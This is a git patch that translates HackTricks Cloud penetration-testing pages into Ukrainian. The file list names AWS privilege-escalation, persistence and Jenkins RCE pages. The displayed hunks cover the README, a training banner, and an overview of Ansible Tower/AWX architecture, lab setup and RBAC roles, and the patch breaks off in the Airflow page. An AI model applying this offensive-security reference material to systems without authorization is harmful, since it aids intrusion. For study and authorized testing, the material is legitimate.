From 92eaf7ce11081b51f5cf8e1648323c8317f901d1 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 31 Dec 2024 20:42:16 +0000 Subject: [PATCH] Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/ --- src/README.md | 14 +- src/SUMMARY.md | 2 + src/banners/hacktricks-training.md | 16 +- ...ower-awx-automation-controller-security.md | 152 ++- .../apache-airflow-security/README.md | 148 ++- .../airflow-configuration.md | 112 ++- .../apache-airflow-security/airflow-rbac.md | 32 +- src/pentesting-ci-cd/atlantis-security.md | 282 +++--- src/pentesting-ci-cd/circleci-security.md | 298 +++--- .../cloudflare-security/README.md | 118 ++- .../cloudflare-security/cloudflare-domains.md | 136 ++- .../cloudflare-zero-trust-network.md | 46 +- .../concourse-security/README.md | 20 +- .../concourse-architecture.md | 36 +- .../concourse-enumeration-and-attacks.md | 338 ++++--- .../concourse-lab-creation.md | 136 ++- src/pentesting-ci-cd/gitea-security/README.md | 134 ++- .../gitea-security/basic-gitea-information.md | 118 ++- .../github-security/README.md | 256 +++--- .../abusing-github-actions/README.md | 576 ++++++------ .../gh-actions-artifact-poisoning.md | 7 +- .../gh-actions-cache-poisoning.md | 7 +- .../gh-actions-context-script-injections.md | 7 +- .../accessible-deleted-data-in-github.md | 56 +- .../basic-github-information.md | 282 +++--- .../jenkins-security/README.md | 304 +++--- .../basic-jenkins-information.md | 88 +- ...itrary-file-read-to-rce-via-remember-me.md | 98 +- .../jenkins-dumping-secrets-from-groovy.md | 78 +- ...jenkins-rce-creating-modifying-pipeline.md | 38 +- .../jenkins-rce-creating-modifying-project.md | 28 +- .../jenkins-rce-with-groovy-script.md | 38 +- src/pentesting-ci-cd/okta-security/README.md | 86 +- .../okta-security/okta-hardening.md | 126 ++- .../pentesting-ci-cd-methodology.md | 96 +- .../serverless.com-security.md | 862 +++++++++--------- src/pentesting-ci-cd/supabase-security.md | 100 +- src/pentesting-ci-cd/terraform-security.md | 284 +++--- src/pentesting-ci-cd/todo.md | 8 +- .../travisci-security/README.md | 36 +- .../basic-travisci-information.md | 72 +- src/pentesting-ci-cd/vercel-security.md | 532 ++++++----- src/pentesting-cloud/aws-security/README.md | 204 ++--- .../aws-basic-information/README.md | 390 ++++---- .../aws-federation-abuse.md | 156 ++-- .../aws-permissions-for-a-pentest.md | 24 +- .../aws-security/aws-persistence/README.md | 7 +- .../aws-api-gateway-persistence.md | 20 +- .../aws-cognito-persistence.md | 28 +- .../aws-dynamodb-persistence.md | 60 +- .../aws-persistence/aws-ec2-persistence.md | 46 +- .../aws-persistence/aws-ecr-persistence.md | 104 +-- .../aws-persistence/aws-ecs-persistence.md | 94 +- .../aws-persistence/aws-efs-persistence.md | 10 +- .../aws-elastic-beanstalk-persistence.md | 70 +- .../aws-persistence/aws-iam-persistence.md | 50 +- .../aws-persistence/aws-kms-persistence.md | 28 +- .../aws-lambda-persistence/README.md | 46 +- .../aws-abusing-lambda-extensions.md | 36 +- .../aws-lambda-layers-persistence.md | 98 +- .../aws-lightsail-persistence.md | 30 +- .../aws-persistence/aws-rds-persistence.md | 20 +- .../aws-persistence/aws-s3-persistence.md | 12 +- .../aws-secrets-manager-persistence.md | 50 +- .../aws-persistence/aws-sns-persistence.md | 116 ++- .../aws-persistence/aws-sqs-persistence.md | 42 +- .../aws-persistence/aws-ssm-perssitence.md | 5 - .../aws-step-functions-persistence.md | 14 +- .../aws-persistence/aws-sts-persistence.md | 132 ++- .../aws-post-exploitation/README.md | 7 +- .../aws-api-gateway-post-exploitation.md | 74 +- .../aws-cloudfront-post-exploitation.md | 24 +- .../aws-codebuild-post-exploitation/README.md | 52 +- .../aws-codebuild-token-leakage.md | 200 ++-- .../aws-control-tower-post-exploitation.md | 10 +- .../aws-dlm-post-exploitation.md | 150 ++- .../aws-dynamodb-post-exploitation.md | 286 +++--- .../README.md | 585 ++++++------ .../aws-ebs-snapshot-dump.md | 70 +- .../aws-malicious-vpc-mirror.md | 12 +- .../aws-ecr-post-exploitation.md | 56 +- .../aws-ecs-post-exploitation.md | 36 +- .../aws-efs-post-exploitation.md | 34 +- .../aws-eks-post-exploitation.md | 136 ++- ...aws-elastic-beanstalk-post-exploitation.md | 46 +- .../aws-iam-post-exploitation.md | 100 +- .../aws-kms-post-exploitation.md | 138 ++- .../aws-lambda-post-exploitation/README.md | 14 +- .../aws-warm-lambda-persistence.md | 58 +- .../aws-lightsail-post-exploitation.md | 20 +- .../aws-organizations-post-exploitation.md | 12 +- .../aws-rds-post-exploitation.md | 56 +- .../aws-s3-post-exploitation.md | 34 +- .../aws-secrets-manager-post-exploitation.md | 36 +- .../aws-ses-post-exploitation.md | 42 +- .../aws-sns-post-exploitation.md | 48 +- .../aws-sqs-post-exploitation.md | 50 +- ...sso-and-identitystore-post-exploitation.md | 10 +- .../aws-stepfunctions-post-exploitation.md | 40 +- .../aws-sts-post-exploitation.md | 50 +- .../aws-vpn-post-exploitation.md | 8 +- .../aws-privilege-escalation/README.md | 20 +- .../aws-apigateway-privesc.md | 52 +- .../aws-chime-privesc.md | 4 - .../aws-cloudformation-privesc/README.md | 92 +- ...stack-and-cloudformation-describestacks.md | 124 ++- .../aws-codebuild-privesc.md | 248 +++-- .../aws-codepipeline-privesc.md | 20 +- .../aws-codestar-privesc/README.md | 60 +- ...ateproject-codestar-associateteammember.md | 146 ++- .../iam-passrole-codestar-createproject.md | 106 +-- .../aws-cognito-privesc.md | 274 +++--- .../aws-datapipeline-privesc.md | 84 +- .../aws-directory-services-privesc.md | 18 +- .../aws-dynamodb-privesc.md | 12 +- .../aws-ebs-privesc.md | 16 +- .../aws-ec2-privesc.md | 204 ++--- .../aws-ecr-privesc.md | 108 +-- .../aws-ecs-privesc.md | 230 +++-- .../aws-efs-privesc.md | 90 +- .../aws-elastic-beanstalk-privesc.md | 140 ++- .../aws-emr-privesc.md | 44 +- .../aws-privilege-escalation/aws-gamelift.md | 10 +- .../aws-glue-privesc.md | 48 +- .../aws-iam-privesc.md | 194 ++-- .../aws-kms-privesc.md | 124 ++- .../aws-lambda-privesc.md | 216 ++--- .../aws-lightsail-privesc.md | 110 +-- .../aws-mediapackage-privesc.md | 14 +- .../aws-mq-privesc.md | 26 +- .../aws-msk-privesc.md | 14 +- .../aws-organizations-prinvesc.md | 12 +- .../aws-rds-privesc.md | 114 +-- .../aws-redshift-privesc.md | 50 +- .../aws-s3-privesc.md | 222 +++-- .../aws-sagemaker-privesc.md | 80 +- .../aws-secrets-manager-privesc.md | 40 +- .../aws-sns-privesc.md | 24 +- .../aws-sqs-privesc.md | 24 +- .../aws-ssm-privesc.md | 72 +- .../aws-sso-and-identitystore-privesc.md | 78 +- .../aws-stepfunctions-privesc.md | 282 +++--- .../aws-sts-privesc.md | 122 ++- .../aws-workdocs-privesc.md | 26 +- .../eventbridgescheduler-privesc.md | 48 +- ...acm-pca-issuecertificate-acm-pca-getcer.md | 26 +- .../aws-security/aws-services/README.md | 24 +- .../aws-services/aws-api-gateway-enum.md | 158 ++-- ...m-and-private-certificate-authority-pca.md | 18 +- .../aws-cloudformation-and-codestar-enum.md | 22 +- .../aws-services/aws-cloudfront-enum.md | 20 +- .../aws-services/aws-cloudhsm-enum.md | 76 +- .../aws-services/aws-codebuild-enum.md | 26 +- .../aws-services/aws-cognito-enum/README.md | 22 +- .../cognito-identity-pools.md | 120 +-- .../aws-cognito-enum/cognito-user-pools.md | 432 ++++----- ...e-codepipeline-codebuild-and-codecommit.md | 40 +- .../aws-directory-services-workdocs-enum.md | 46 +- .../aws-services/aws-documentdb-enum.md | 10 +- .../aws-services/aws-dynamodb-enum.md | 102 +-- .../README.md | 152 ++- .../aws-nitro-enum.md | 164 ++-- ...ws-vpc-and-networking-basic-information.md | 234 +++-- .../aws-security/aws-services/aws-ecr-enum.md | 68 +- .../aws-security/aws-services/aws-ecs-enum.md | 50 +- .../aws-security/aws-services/aws-efs-enum.md | 94 +- .../aws-security/aws-services/aws-eks-enum.md | 22 +- .../aws-elastic-beanstalk-enum.md | 76 +- .../aws-services/aws-elasticache.md | 8 +- .../aws-security/aws-services/aws-emr-enum.md | 50 +- .../aws-security/aws-services/aws-iam-enum.md | 130 +-- .../aws-kinesis-data-firehose-enum.md | 22 +- .../aws-security/aws-services/aws-kms-enum.md | 146 ++- .../aws-services/aws-lambda-enum.md | 96 +- .../aws-services/aws-lightsail-enum.md | 24 +- .../aws-security/aws-services/aws-mq-enum.md | 32 +- .../aws-security/aws-services/aws-msk-enum.md | 28 +- .../aws-services/aws-organizations-enum.md | 24 +- .../aws-services/aws-other-services-enum.md | 14 +- .../aws-services/aws-redshift-enum.md | 38 +- .../aws-relational-database-rds-enum.md | 102 +-- .../aws-services/aws-route53-enum.md | 18 +- .../aws-s3-athena-and-glacier-enum.md | 244 +++-- .../aws-services/aws-secrets-manager-enum.md | 26 +- .../README.md | 7 +- .../aws-cloudtrail-enum.md | 230 +++-- .../aws-cloudwatch-enum.md | 384 ++++---- .../aws-config-enum.md | 52 +- .../aws-control-tower-enum.md | 24 +- .../aws-cost-explorer-enum.md | 16 +- .../aws-detective-enum.md | 8 +- .../aws-firewall-manager-enum.md | 204 ++--- .../aws-guardduty-enum.md | 128 ++- .../aws-inspector-enum.md | 246 +++-- .../aws-macie-enum.md | 94 +- .../aws-security-hub-enum.md | 34 +- .../aws-shield-enum.md | 12 +- .../aws-trusted-advisor-enum.md | 80 +- .../aws-waf-enum.md | 404 ++++---- .../aws-security/aws-services/aws-ses-enum.md | 44 +- .../aws-security/aws-services/aws-sns-enum.md | 40 +- .../aws-services/aws-sqs-and-sns-enum.md | 10 +- .../aws-services/aws-stepfunctions-enum.md | 358 ++++---- .../aws-security/aws-services/aws-sts-enum.md | 74 +- .../aws-services/eventbridgescheduler-enum.md | 40 +- .../aws-unauthenticated-enum-access/README.md | 64 +- .../aws-accounts-unauthenticated-enum.md | 28 +- .../aws-api-gateway-unauthenticated-enum.md | 60 +- .../aws-cloudfront-unauthenticated-enum.md | 8 +- .../aws-codebuild-unauthenticated-access.md | 20 +- .../aws-cognito-unauthenticated-enum.md | 28 +- .../aws-documentdb-enum.md | 8 +- .../aws-dynamodb-unauthenticated-access.md | 10 +- .../aws-ec2-unauthenticated-enum.md | 28 +- .../aws-ecr-unauthenticated-enum.md | 20 +- .../aws-ecs-unauthenticated-enum.md | 12 +- ...-elastic-beanstalk-unauthenticated-enum.md | 28 +- .../aws-elasticsearch-unauthenticated-enum.md | 8 +- .../aws-iam-and-sts-unauthenticated-enum.md | 182 ++-- ...ity-center-and-sso-unauthenticated-enum.md | 90 +- .../aws-iot-unauthenticated-enum.md | 8 +- .../aws-kinesis-video-unauthenticated-enum.md | 8 +- .../aws-lambda-unauthenticated-access.md | 20 +- .../aws-media-unauthenticated-enum.md | 8 +- .../aws-mq-unauthenticated-enum.md | 10 +- .../aws-msk-unauthenticated-enum.md | 14 +- .../aws-rds-unauthenticated-enum.md | 20 +- .../aws-redshift-unauthenticated-enum.md | 8 +- .../aws-s3-unauthenticated-enum.md | 172 ++-- .../aws-sns-unauthenticated-enum.md | 12 +- .../aws-sqs-unauthenticated-enum.md | 14 +- src/pentesting-cloud/azure-security/README.md | 128 +-- .../az-basic-information/README.md | 484 +++++----- .../az-tokens-and-public-applications.md | 188 ++-- .../azure-security/az-device-registration.md | 68 +- .../azure-security/az-enumeration-tools.md | 82 +- .../az-arc-vulnerable-gpo-deploy-script.md | 46 +- .../az-local-cloud-credentials.md | 34 +- .../az-pass-the-certificate.md | 34 +- .../az-pass-the-cookie.md | 22 +- ...g-primary-refresh-token-microsoft-entra.md | 8 +- .../az-primary-refresh-token-prt.md | 6 +- .../az-processes-memory-access-token.md | 20 +- .../az-permissions-for-a-pentest.md | 6 +- .../pentesting-cloud-methodology.md | 208 ++--- 245 files changed, 9813 insertions(+), 12533 deletions(-) diff --git a/src/README.md b/src/README.md index 01b146fd1..405263aef 100644 --- a/src/README.md +++ b/src/README.md @@ -6,26 +6,26 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks логотипи та анімація розроблені_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news. +> Ласкаво просимо на сторінку, де ви знайдете кожен **хакерський трюк/техніку/що завгодно, пов'язане з CI/CD та Cloud**, який я навчився в **CTFs**, **реальних** життєвих **середовищах**, **досліджуючи** та **читаючи** дослідження і новини. ### **Pentesting CI/CD Methodology** -**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** +**У методології HackTricks CI/CD ви знайдете, як проводити тестування на проникнення інфраструктури, пов'язаної з CI/CD активностями.** Прочитайте наступну сторінку для **вступу:** [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md) ### Pentesting Cloud Methodology -**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** +**У методології HackTricks Cloud ви знайдете, як проводити тестування на проникнення в хмарні середовища.** Прочитайте наступну сторінку для **вступу:** [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md) ### License & Disclaimer -**Check them in:** +**Перевірте їх у:** [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) @@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co ![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} - - - - diff --git a/src/SUMMARY.md b/src/SUMMARY.md index feae5163c..1b1d60c58 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,3 +505,5 @@ + + diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b684cee3d..0b82df989 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,17 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> Підтримайте HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github. > >
- - - - diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index d3fbf19e5..447fc7e83 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,60 +4,59 @@ ## Basic Information -**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows. +**Ansible Tower** або його відкрита версія [**AWX**](https://github.com/ansible/awx) також відомий як **інтерфейс користувача Ansible, панель управління та REST API**. Завдяки **контролю доступу на основі ролей**, плануванню завдань та графічному управлінню інвентарем, ви можете керувати вашою інфраструктурою Ansible з сучасного інтерфейсу. REST API Tower та командний інтерфейс спрощують інтеграцію з поточними інструментами та робочими процесами. -**Automation Controller is a newer** version of Ansible Tower with more capabilities. +**Automation Controller є новішою** версією Ansible Tower з більшою кількістю можливостей. ### Differences -According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. +Згідно з [**цим**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), основні відмінності між Ansible Tower та AWX полягають у отриманій підтримці, а Ansible Tower має додаткові функції, такі як контроль доступу на основі ролей, підтримка користувацьких API та визначені користувачем робочі процеси. ### Tech Stack -- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. -- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. -- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. -- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. -- **Redis**: Redis serves as a cache and a backend for the task queue. +- **Web Interface**: Це графічний інтерфейс, де користувачі можуть керувати інвентарями, обліковими даними, шаблонами та завданнями. Він розроблений для інтуїтивного використання та надає візуалізації для допомоги в розумінні стану та результатів ваших автоматизаційних завдань. +- **REST API**: Все, що ви можете зробити в веб-інтерфейсі, ви також можете зробити через REST API. Це означає, що ви можете інтегрувати AWX/Tower з іншими системами або скриптувати дії, які ви зазвичай виконуєте в інтерфейсі. +- **Database**: AWX/Tower використовує базу даних (зазвичай PostgreSQL) для зберігання своєї конфігурації, результатів завдань та інших необхідних операційних даних. +- **RabbitMQ**: Це система обміну повідомленнями, що використовується AWX/Tower для зв'язку між різними компонентами, особливо між веб-сервісом та виконавцями завдань. +- **Redis**: Redis служить кешем та бекендом для черги завдань. ### Logical Components -- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. -- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. -- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. -- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. -- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. -- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. -- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. -- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. +- **Inventories**: Інвентар є **збіркою хостів (або вузлів)**, проти яких можуть бути **виконані завдання** (Ansible playbooks). AWX/Tower дозволяє вам визначати та групувати ваші інвентарі, а також підтримує динамічні інвентарі, які можуть **отримувати списки хостів з інших систем** таких як AWS, Azure тощо. +- **Projects**: Проект — це, по суті, **збірка Ansible playbooks**, отриманих з **системи контролю версій** (такої як Git), щоб отримати останні playbooks за потреби. +- **Templates**: Шаблони завдань визначають **як буде виконуватись конкретний playbook**, вказуючи **інвентар**, **облікові дані** та інші **параметри** для завдання. +- **Credentials**: AWX/Tower надає безпечний спосіб **керувати та зберігати секрети, такі як SSH ключі, паролі та API токени**. Ці облікові дані можуть бути асоційовані з шаблонами завдань, щоб playbooks мали необхідний доступ під час виконання. +- **Task Engine**: Тут відбувається магія. Двигун завдань побудований на Ansible і відповідає за **виконання playbooks**. Завдання надсилаються до двигуна завдань, який потім виконує Ansible playbooks проти призначеного інвентарю, використовуючи вказані облікові дані. +- **Schedulers and Callbacks**: Це розширені функції в AWX/Tower, які дозволяють **планувати виконання завдань** у певний час або за зовнішніми подіями. +- **Notifications**: AWX/Tower може надсилати сповіщення на основі успіху або невдачі завдань. Він підтримує різні засоби сповіщень, такі як електронні листи, повідомлення Slack, вебхуки тощо. +- **Ansible Playbooks**: Ansible playbooks є інструментами конфігурації, розгортання та оркестрації. Вони описують бажаний стан систем автоматизованим, повторюваним способом. Написані в YAML, playbooks використовують декларативну мову автоматизації Ansible для опису конфігурацій, завдань та кроків, які потрібно виконати. ### Job Execution Flow -1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. +1. **User Interaction**: Користувач може взаємодіяти з AWX/Tower через **Web Interface** або **REST API**. Ці інтерфейси надають доступ до всіх функцій, які пропонує AWX/Tower. 2. **Job Initiation**: - - The user, via the Web Interface or API, initiates a job based on a **Job Template**. - - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. - - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. +- Користувач, через веб-інтерфейс або API, ініціює завдання на основі **Job Template**. +- Шаблон завдання включає посилання на **Inventory**, **Project** (що містить playbook) та **Credentials**. +- Після ініціації завдання запит надсилається на бекенд AWX/Tower для постановки завдання в чергу на виконання. 3. **Job Queuing**: - - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. - - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. +- **RabbitMQ** обробляє обмін повідомленнями між веб-компонентом та виконавцями завдань. Як тільки завдання ініційовано, повідомлення надсилається до двигуна завдань за допомогою RabbitMQ. +- **Redis** виступає як бекенд для черги завдань, керуючи чергами завдань, що чекають виконання. 4. **Job Execution**: - - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. - - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. - - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. +- **Task Engine** підбирає завдання з черги. Він отримує необхідну інформацію з **Database** про асоційований playbook, інвентар та облікові дані. +- Використовуючи отриманий Ansible playbook з асоційованого **Project**, двигун завдань виконує playbook проти вказаних **Inventory** вузлів, використовуючи надані **Credentials**. +- Під час виконання playbook його вихідні дані (журнали, факти тощо) захоплюються та зберігаються в **Database**. 5. **Job Results**: - - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. - - Users can then view the results through the Web Interface or query them via the REST API. - - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. +- Як тільки playbook закінчує виконання, результати (успіх, невдача, журнали) зберігаються в **Database**. +- Користувачі можуть переглядати результати через веб-інтерфейс або запитувати їх через REST API. +- На основі результатів завдань, **Notifications** можуть бути надіслані, щоб повідомити користувачів або зовнішні системи про статус завдання. Сповіщення можуть бути електронними листами, повідомленнями Slack, вебхуками тощо. 6. **External Systems Integration**: - - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. - - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. - - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. +- **Inventories** можуть динамічно отримуватись з зовнішніх систем, що дозволяє AWX/Tower отримувати хости з джерел, таких як AWS, Azure, VMware та інші. +- **Projects** (playbooks) можуть бути отримані з систем контролю версій, що забезпечує використання актуальних playbooks під час виконання завдань. +- **Schedulers and Callbacks** можуть бути використані для інтеграції з іншими системами або інструментами, що дозволяє AWX/Tower реагувати на зовнішні тригери або виконувати завдання у визначений час. ### AWX lab creation for testing -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: - +[**Слідуючи документації**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) можливо використовувати docker-compose для запуску AWX: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data ``` - ## RBAC -### Supported roles +### Підтримувані ролі -The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. +Найбільш привілейована роль називається **Системний адміністратор**. Будь-хто з цією роллю може **модифікувати все**. -From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. +З точки зору **white box security** вам потрібна роль **Системного аудитора**, яка дозволяє **переглядати всі дані системи**, але не може вносити зміни. Іншою опцією було б отримати роль **Аудитора організації**, але краще отримати іншу.
-Expand this to get detailed description of available roles +Розгорніть це, щоб отримати детальний опис доступних ролей -1. **System Administrator**: - - This is the superuser role with permissions to access and modify any resource in the system. - - They can manage all organizations, teams, projects, inventories, job templates, etc. -2. **System Auditor**: - - Users with this role can view all system data but cannot make any changes. - - This role is designed for compliance and oversight. -3. **Organization Roles**: - - **Admin**: Full control over the organization's resources. - - **Auditor**: View-only access to the organization's resources. - - **Member**: Basic membership in an organization without any specific permissions. - - **Execute**: Can run job templates within the organization. - - **Read**: Can view the organization’s resources. -4. **Project Roles**: - - **Admin**: Can manage and modify the project. - - **Use**: Can use the project in a job template. - - **Update**: Can update project using SCM (source control). -5. **Inventory Roles**: - - **Admin**: Can manage and modify the inventory. - - **Ad Hoc**: Can run ad hoc commands on the inventory. - - **Update**: Can update the inventory source. - - **Use**: Can use the inventory in a job template. - - **Read**: View-only access. -6. **Job Template Roles**: - - **Admin**: Can manage and modify the job template. - - **Execute**: Can run the job. - - **Read**: View-only access. -7. **Credential Roles**: - - **Admin**: Can manage and modify the credentials. - - **Use**: Can use the credentials in job templates or other relevant resources. - - **Read**: View-only access. -8. **Team Roles**: - - **Member**: Part of the team but without any specific permissions. - - **Admin**: Can manage the team's members and associated resources. -9. **Workflow Roles**: - - **Admin**: Can manage and modify the workflow. - - **Execute**: Can run the workflow. - - **Read**: View-only access. +1. **Системний адміністратор**: +- Це роль суперкористувача з дозволами на доступ і модифікацію будь-якого ресурсу в системі. +- Вони можуть керувати всіма організаціями, командами, проектами, інвентарями, шаблонами завдань тощо. +2. **Системний аудитор**: +- Користувачі з цією роллю можуть переглядати всі дані системи, але не можуть вносити зміни. +- Ця роль призначена для дотримання норм і контролю. +3. **Ролі організації**: +- **Адміністратор**: Повний контроль над ресурсами організації. +- **Аудитор**: Доступ лише для перегляду ресурсів організації. +- **Член**: Основне членство в організації без конкретних дозволів. +- **Виконати**: Може виконувати шаблони завдань в організації. +- **Читати**: Може переглядати ресурси організації. +4. **Ролі проекту**: +- **Адміністратор**: Може керувати і модифікувати проект. +- **Використовувати**: Може використовувати проект у шаблоні завдання. +- **Оновити**: Може оновити проект за допомогою SCM (системи контролю версій). +5. **Ролі інвентарю**: +- **Адміністратор**: Може керувати і модифікувати інвентар. +- **Ad Hoc**: Може виконувати команди ad hoc на інвентарі. +- **Оновити**: Може оновити джерело інвентарю. +- **Використовувати**: Може використовувати інвентар у шаблоні завдання. +- **Читати**: Доступ лише для перегляду. +6. **Ролі шаблона завдання**: +- **Адміністратор**: Може керувати і модифікувати шаблон завдання. +- **Виконати**: Може виконувати завдання. +- **Читати**: Доступ лише для перегляду. +7. **Ролі облікових даних**: +- **Адміністратор**: Може керувати і модифікувати облікові дані. +- **Використовувати**: Може використовувати облікові дані в шаблонах завдань або інших відповідних ресурсах. +- **Читати**: Доступ лише для перегляду. +8. **Ролі команди**: +- **Член**: Частина команди, але без конкретних дозволів. +- **Адміністратор**: Може керувати членами команди та пов'язаними ресурсами. +9. **Ролі робочого процесу**: +- **Адміністратор**: Може керувати і модифікувати робочий процес. +- **Виконати**: Може виконувати робочий процес. +- **Читати**: Доступ лише для перегляду.
{{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index aac46128c..95927c264 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -4,20 +4,19 @@ ### Basic Information -[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications. +[**Apache Airflow**](https://airflow.apache.org) слугує платформою для **орchestrating and 